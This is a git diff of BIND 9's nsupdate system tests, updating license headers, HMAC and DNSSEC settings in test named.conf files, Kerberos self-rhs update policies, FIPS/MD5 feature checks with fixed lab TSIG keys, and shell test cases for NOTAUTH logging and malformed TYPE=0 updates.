@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns5/local.db.in b/bin/tests/system/nsupdate/ns5/local.db.in
index 08f16b8f23..12a5d8b119 100644
--- a/bin/tests/system/nsupdate/ns5/local.db.in
+++ b/bin/tests/system/nsupdate/ns5/local.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns5/named.args b/bin/tests/system/nsupdate/ns5/named.args
index a1ebb6f763..fc5a5cd2a7 100644
--- a/bin/tests/system/nsupdate/ns5/named.args
+++ b/bin/tests/system/nsupdate/ns5/named.args
@@ -1 +1 @@
--D nsupdate-ns5 -m record,size,mctx -c named.conf -d 99 -X named.lock -g -U 4 -T maxcachesize=2097152 -T fixedlocal
+-D nsupdate-ns5 -m record -c named.conf -d 99 -X named.lock -g -U 4 -T maxcachesize=2097152 -T fixedlocal
diff --git a/bin/tests/system/nsupdate/ns5/named.conf.in b/bin/tests/system/nsupdate/ns5/named.conf.in
index 78411898c7..e3c4d1b33d 100644
--- a/bin/tests/system/nsupdate/ns5/named.conf.in
+++ b/bin/tests/system/nsupdate/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/nsupdate/ns6/in-addr.db.in b/bin/tests/system/nsupdate/ns6/in-addr.db.in
index c719192f6f..9ac2b61308 100644
--- a/bin/tests/system/nsupdate/ns6/in-addr.db.in
+++ b/bin/tests/system/nsupdate/ns6/in-addr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns6/named.args b/bin/tests/system/nsupdate/ns6/named.args
index 11e5449526..48e2bd82c6 100644
--- a/bin/tests/system/nsupdate/ns6/named.args
+++ b/bin/tests/system/nsupdate/ns6/named.args
@@ -1 +1 @@
--D nsupdate-ns6 -m record,size,mctx -c named.conf -d 99 -X named.lock -g -U 4 -T maxcachesize=2097152 -T fixedlocal
+-D nsupdate-ns6 -m record -c named.conf -d 99 -X named.lock -g -U 4 -T maxcachesize=2097152 -T fixedlocal
diff --git a/bin/tests/system/nsupdate/ns6/named.conf.in b/bin/tests/system/nsupdate/ns6/named.conf.in
index adb2627b86..c636cfc754 100644
--- a/bin/tests/system/nsupdate/ns6/named.conf.in
+++ b/bin/tests/system/nsupdate/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/nsupdate/ns7/example.com.db.in b/bin/tests/system/nsupdate/ns7/example.com.db.in
index c327325f91..6e4b17a9a8 100644
--- a/bin/tests/system/nsupdate/ns7/example.com.db.in
+++ b/bin/tests/system/nsupdate/ns7/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -17,3 +19,9 @@ $TTL 300	; 5 minutes
 				)
 			NS	ns7
 ns7			A	10.53.0.7
+single.any.self-srv	SRV	0 0 0 machine.example.com.
+many.any.self-srv	SRV	0 0 0 machine.example.com.
+many.any.self-srv	SRV	0 0 0 notmachine.example.com.
+single.srv.self-srv	SRV	0 0 0 machine.example.com.
+many.srv.self-srv	SRV	0 0 0 machine.example.com.
+many.srv.self-srv	SRV	0 0 0 notmachine.example.com.
diff --git a/bin/tests/system/nsupdate/ns7/in-addr.db.in b/bin/tests/system/nsupdate/ns7/in-addr.db.in
index c327325f91..973c77fff6 100644
--- a/bin/tests/system/nsupdate/ns7/in-addr.db.in
+++ b/bin/tests/system/nsupdate/ns7/in-addr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -17,3 +19,9 @@ $TTL 300	; 5 minutes
 				)
 			NS	ns7
 ns7			A	10.53.0.7
+single.any.self-ptr	PTR	machine.example.com.
+many.any.self-ptr	PTR	machine.example.com.
+many.any.self-ptr	PTR	notmachine.example.com.
+single.ptr.self-ptr	PTR	machine.example.com.
+many.ptr.self-ptr	PTR	machine.example.com.
+many.ptr.self-ptr	PTR	notmachine.example.com.
diff --git a/bin/tests/system/nsupdate/ns7/named.conf.in b/bin/tests/system/nsupdate/ns7/named.conf.in
deleted file mode 100644
index 49a3e3b08b..0000000000
--- a/bin/tests/system/nsupdate/ns7/named.conf.in
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.7;
-	notify-source 10.53.0.7;
-	transfer-source 10.53.0.7;
-	port @PORT@;
-	pid-file "named.pid";
-	session-keyfile "session.key";
-	listen-on { 10.53.0.7; };
-	recursion no;
-	notify yes;
-	minimal-responses no;
-	tkey-gssapi-keytab "dns.keytab";
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-zone "in-addr.arpa" {
-	type primary;
-	file "in-addr.db";
-	update-policy {	grant EXAMPLE.COM krb5-subdomain . PTR; };
-};
-
-zone "example.com" {
-	type primary;
-	file "example.com.db";
-	update-policy {
-		grant EXAMPLE.COM krb5-self . ANY;
-		grant EXAMPLE.COM krb5-subdomain _tcp.example.com SRV;
-	};
-};
diff --git a/bin/tests/system/nsupdate/ns7/named1.conf.in b/bin/tests/system/nsupdate/ns7/named1.conf.in
new file mode 100644
index 0000000000..28d2aeafd5
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns7/named1.conf.in
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
+	port @PORT@;
+	pid-file "named.pid";
+	session-keyfile "session.key";
+	listen-on { 10.53.0.7; };
+	recursion no;
+	notify yes;
+	minimal-responses no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "in-addr.arpa" {
+	type primary;
+	file "in-addr.db";
+	update-policy {	grant EXAMPLE.COM krb5-subdomain-self-rhs . PTR; };
+};
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant EXAMPLE.COM krb5-self . ANY;
+		grant EXAMPLE.COM krb5-subdomain _tcp.example.com SRV;
+		grant EXAMPLE.COM krb5-subdomain-self-rhs self-srv.example.com SRV;
+		grant EXAMPLE.COM krb5-subdomain-self-rhs self-srv-no-type.example.com;
+	};
+};
diff --git a/bin/tests/system/nsupdate/ns7/named2.conf.in b/bin/tests/system/nsupdate/ns7/named2.conf.in
new file mode 100644
index 0000000000..e5886e9acd
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns7/named2.conf.in
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
+	port @PORT@;
+	pid-file "named.pid";
+	session-keyfile "session.key";
+	listen-on { 10.53.0.7; };
+	recursion no;
+	notify yes;
+	minimal-responses no;
+	dnssec-validation no;
+	tkey-gssapi-keytab "dns.keytab";
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "in-addr.arpa" {
+	type primary;
+	file "in-addr.db";
+	update-policy {	grant EXAMPLE.COM krb5-subdomain-self-rhs . PTR; };
+};
+
+zone "example.com" {
+	type primary;
+	file "example.com.db";
+	update-policy {
+		grant EXAMPLE.COM krb5-self . ANY;
+		grant EXAMPLE.COM krb5-subdomain _tcp.example.com SRV;
+		grant EXAMPLE.COM krb5-subdomain-self-rhs self-srv.example.com SRV;
+		grant EXAMPLE.COM krb5-subdomain-self-rhs self-srv-no-type.example.com;
+	};
+};
diff --git a/bin/tests/system/nsupdate/ns8/example.com.db.in b/bin/tests/system/nsupdate/ns8/example.com.db.in
index eb24766f68..f83a3ebdb8 100644
--- a/bin/tests/system/nsupdate/ns8/example.com.db.in
+++ b/bin/tests/system/nsupdate/ns8/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns8/in-addr.db.in b/bin/tests/system/nsupdate/ns8/in-addr.db.in
index eb24766f68..f83a3ebdb8 100644
--- a/bin/tests/system/nsupdate/ns8/in-addr.db.in
+++ b/bin/tests/system/nsupdate/ns8/in-addr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns8/named.conf.in b/bin/tests/system/nsupdate/ns8/named.conf.in
index dac45d9141..f69d3adaca 100644
--- a/bin/tests/system/nsupdate/ns8/named.conf.in
+++ b/bin/tests/system/nsupdate/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,12 +22,13 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 	tkey-gssapi-keytab "dns-other-than-KRB5_KTNAME.keytab";
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/nsupdate/ns9/example.com.db.in b/bin/tests/system/nsupdate/ns9/example.com.db.in
index a618fdccd8..cb3fae544a 100644
--- a/bin/tests/system/nsupdate/ns9/example.com.db.in
+++ b/bin/tests/system/nsupdate/ns9/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns9/in-addr.db.in b/bin/tests/system/nsupdate/ns9/in-addr.db.in
index a618fdccd8..cb3fae544a 100644
--- a/bin/tests/system/nsupdate/ns9/in-addr.db.in
+++ b/bin/tests/system/nsupdate/ns9/in-addr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns9/named.conf.in b/bin/tests/system/nsupdate/ns9/named.conf.in
index e80f6775af..2cdc6afa74 100644
--- a/bin/tests/system/nsupdate/ns9/named.conf.in
+++ b/bin/tests/system/nsupdate/ns9/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,17 +22,18 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 	@TKEY_CONFIGURATION@
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key subkey {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -53,7 +56,7 @@ zone "example.com" {
 };
 
 zone "denyname.example" {
-	type master;
+	type primary;
 	file "denyname.example.db";
 	update-policy {
 		deny subkey name denyname.example;
diff --git a/bin/tests/system/nsupdate/resolv.conf b/bin/tests/system/nsupdate/resolv.conf
new file mode 100644
index 0000000000..e713baed71
--- /dev/null
+++ b/bin/tests/system/nsupdate/resolv.conf
@@ -0,0 +1,15 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+nameserver 10.53.0.1
+nameserver 10.53.0.3
diff --git a/bin/tests/system/nsupdate/setup.sh b/bin/tests/system/nsupdate/setup.sh
index be8c7f8adf..c3477616e7 100644
--- a/bin/tests/system/nsupdate/setup.sh
+++ b/bin/tests/system/nsupdate/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,12 +18,20 @@
 #
 $SHELL clean.sh
 
+if $FEATURETEST --have-fips-dh
+then
+	copy_setports ns1/tls.conf.in ns1/tls.conf
+	copy_setports ns1/tls.options.in ns1/tls.options
+else
+	: > ns1/tls.conf
+	: > ns1/tls.options
+fi
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
-copy_setports ns7/named.conf.in ns7/named.conf
+copy_setports ns7/named1.conf.in ns7/named.conf
 copy_setports ns8/named.conf.in ns8/named.conf
 
 # If "tkey-gssapi-credential" is set in the configuration and GSSAPI support is
@@ -49,6 +59,7 @@ sed 's/example.nil/unixtime.nil/g' ns1/example1.db > ns1/unixtime.db
 sed 's/example.nil/yyyymmddvv.nil/g' ns1/example1.db > ns1/yyyymmddvv.db
 sed 's/example.nil/keytests.nil/g' ns1/example1.db > ns1/keytests.db
 cp -f ns3/example.db.in ns3/example.db
+cp -f ns3/relaxed.db.in ns3/relaxed.db
 cp -f ns3/too-big.test.db.in ns3/too-big.test.db
 
 # update_test.pl has its own zone file because it
@@ -70,13 +81,28 @@ EOF
 
 $TSIGKEYGEN ddns-key.example.nil > ns1/ddns.key
 
-$TSIGKEYGEN -a hmac-md5 md5-key > ns1/md5.key
+if $FEATURETEST --md5; then
+	$TSIGKEYGEN -a hmac-md5 md5-key > ns1/md5.key
+else
+	echo "/* MD5 NOT SUPPORTED */" > ns1/md5.key
+fi
 $TSIGKEYGEN -a hmac-sha1 sha1-key > ns1/sha1.key
 $TSIGKEYGEN -a hmac-sha224 sha224-key > ns1/sha224.key
 $TSIGKEYGEN -a hmac-sha256 sha256-key > ns1/sha256.key
 $TSIGKEYGEN -a hmac-sha384 sha384-key > ns1/sha384.key
 $TSIGKEYGEN -a hmac-sha512 sha512-key > ns1/sha512.key
 
+if $FEATURETEST --md5; then
+	echo 'key "legacy-157" { algorithm "hmac-md5"; secret "mGcDSCx/fF121GOVJlITLg=="; };' > ns1/legacy157.key
+else
+	echo "/* MD5 NOT SUPPORTED */" > ns1/legacy157.key
+fi
+echo 'key "legacy-161" { algorithm "hmac-sha1"; secret "N80fGvcr8JifzRUJ62R4rQ=="; };' > ns1/legacy161.key
+echo 'key "legacy-162" { algorithm "hmac-sha224"; secret "nSIKzFAGS7/tvBs8JteI+Q=="; };' > ns1/legacy162.key
+echo 'key "legacy-163" { algorithm "hmac-sha256"; secret "CvaupxnDeES3HnlYhTq53w=="; };' > ns1/legacy163.key
+echo 'key "legacy-164" { algorithm "hmac-sha384"; secret "wDldBJwJrYfPoL1Pj4ucOQ=="; };' > ns1/legacy164.key
+echo 'key "legacy-165" { algorithm "hmac-sha512"; secret "OgZrTcEa8P76hVY+xyN7Wg=="; };' > ns1/legacy165.key
+
 (cd ns3; $SHELL -e sign.sh)
 
 cp -f ns1/many.test.db.in ns1/many.test.db
diff --git a/bin/tests/system/nsupdate/tests.sh b/bin/tests/system/nsupdate/tests.sh
index 19b9b18e7e..c92e2b0a46 100755
--- a/bin/tests/system/nsupdate/tests.sh
+++ b/bin/tests/system/nsupdate/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -17,7 +21,7 @@ RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 #
 # Uncomment when creating credential cache files.
 #
-# KRB5_CONFIG=`pwd`/krb/krb5.conf
+# KRB5_CONFIG="$(pwd)/krb/krb5.conf"
 #
 # Cd krb and run krb/setup.sh to create new keys.
 # Run nsupdate system test.
@@ -47,11 +51,21 @@ while true; do
         break
     else
         echo_i "zones are not fully loaded, waiting..."
-        tries=`expr $tries + 1`
+        tries=$((tries + 1))
         sleep 1
     fi
 done
 
+has_positive_response() {
+	zone=$1
+	type=$2
+	ns=$3
+	$DIG $DIGOPTS +tcp +norec $zone $type @$ns > dig.out.post.test$n || return 1
+	grep "status: NOERROR" dig.out.post.test$n > /dev/null || return 1
+	grep "ANSWER: 0," dig.out.post.test$n > /dev/null && return 1
+	return 0
+}
+
 ret=0
 echo_i "fetching first copy of zone before update"
 $DIG $DIGOPTS +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd example.nil.\
@@ -70,6 +84,32 @@ digcomp knowngood.ns1.before dig.out.ns1 || ret=1
 digcomp knowngood.ns1.before dig.out.ns2 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
+ret=0
+echo_i "ensure an unrelated zone is mentioned in its NOTAUTH log"
+$NSUPDATE -k ns1/ddns.key > nsupdate.out 2>&1 << END && ret=1
+server 10.53.0.1 ${PORT}
+zone unconfigured.test
+update add unconfigured.test 600 IN A 10.53.0.1
+send
+END
+grep NOTAUTH nsupdate.out > /dev/null 2>&1 || ret=1
+grep ' unconfigured.test: not authoritative' ns1/named.run \
+     > /dev/null 2>&1 || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+ret=0
+echo_i "ensure a subdomain is mentioned in its NOTAUTH log"
+$NSUPDATE -k ns1/ddns.key > nsupdate.out 2>&1 << END && ret=1
+server 10.53.0.1 ${PORT}
+zone sub.sub.example.nil
+update add sub.sub.sub.example.nil 600 IN A 10.53.0.1
+send
+END
+grep NOTAUTH nsupdate.out > /dev/null 2>&1 || ret=1
+grep ' sub.sub.example.nil: not authoritative' ns1/named.run \
+     > /dev/null 2>&1 || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+
 ret=0
 echo_i "updating zone"
 # nsupdate will print a ">" prompt to stdout as it gets each input line.
@@ -105,7 +145,7 @@ digcomp knowngood.ns1.after dig.out.ns2 || ret=1
 
 ret=0
 echo_i "testing local update policy"
-pre=`$DIG $DIGOPTS +short new.other.nil. @10.53.0.1 a` || ret=1
+pre=$($DIG $DIGOPTS +short new.other.nil. @10.53.0.1 a) || ret=1
 [ -z "$pre" ] || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
@@ -124,7 +164,7 @@ sleep 5
 
 ret=0
 echo_i "checking result of update"
-post=`$DIG $DIGOPTS +short new.other.nil. @10.53.0.1 a` || ret=1
+post=$($DIG $DIGOPTS +short new.other.nil. @10.53.0.1 a) || ret=1
 [ "$post" = "10.10.10.1" ] || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
@@ -212,11 +252,11 @@ grep "mx03.update.nil/MX:.*MX is an address" ns1/named.run > /dev/null 2>&1 || r
 
 ret=0
 echo_i "check SIG(0) key is accepted"
-key=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -T KEY -n ENTITY xxx`
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -T KEY -n ENTITY xxx)
 echo "" | $NSUPDATE -k ${key}.private > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check TYPE=0 update is rejected by nsupdate ($n)"
 $NSUPDATE <<END > nsupdate.out 2>&1 && ret=1
@@ -228,7 +268,7 @@ END
 grep "unknown class/type" nsupdate.out > /dev/null 2>&1 || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check TYPE=0 prerequisite is handled ($n)"
 $NSUPDATE -k ns1/ddns.key <<END > nsupdate.out 2>&1 || ret=1
@@ -240,7 +280,7 @@ $DIG $DIGOPTS +tcp version.bind txt ch @10.53.0.1 > dig.out.ns1.$n
 grep "status: NOERROR" dig.out.ns1.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that TYPE=0 update is handled ($n)"
 echo "a0e4280000010000000100000000060001c00c000000fe000000000000" |
@@ -249,7 +289,7 @@ $DIG $DIGOPTS +tcp version.bind txt ch @10.53.0.1 > dig.out.ns1.$n
 grep "status: NOERROR" dig.out.ns1.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that TYPE=0 additional data is handled ($n)"
 echo "a0e4280000010000000000010000060001c00c000000fe000000000000" |
@@ -258,7 +298,7 @@ $DIG $DIGOPTS +tcp version.bind txt ch @10.53.0.1 > dig.out.ns1.$n
 grep "status: NOERROR" dig.out.ns1.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that update to undefined class is handled ($n)"
 echo "a0e4280000010001000000000000060101c00c000000fe000000000000" |
@@ -267,7 +307,7 @@ $DIG $DIGOPTS +tcp version.bind txt ch @10.53.0.1 > dig.out.ns1.$n
 grep "status: NOERROR" dig.out.ns1.$n > /dev/null || ret=1
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that address family mismatch is handled ($n)"
 $NSUPDATE <<END > /dev/null 2>&1 && ret=1
@@ -279,22 +319,22 @@ END
 [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0
 echo_i "check that unixtime serial number is correctly generated ($n)"
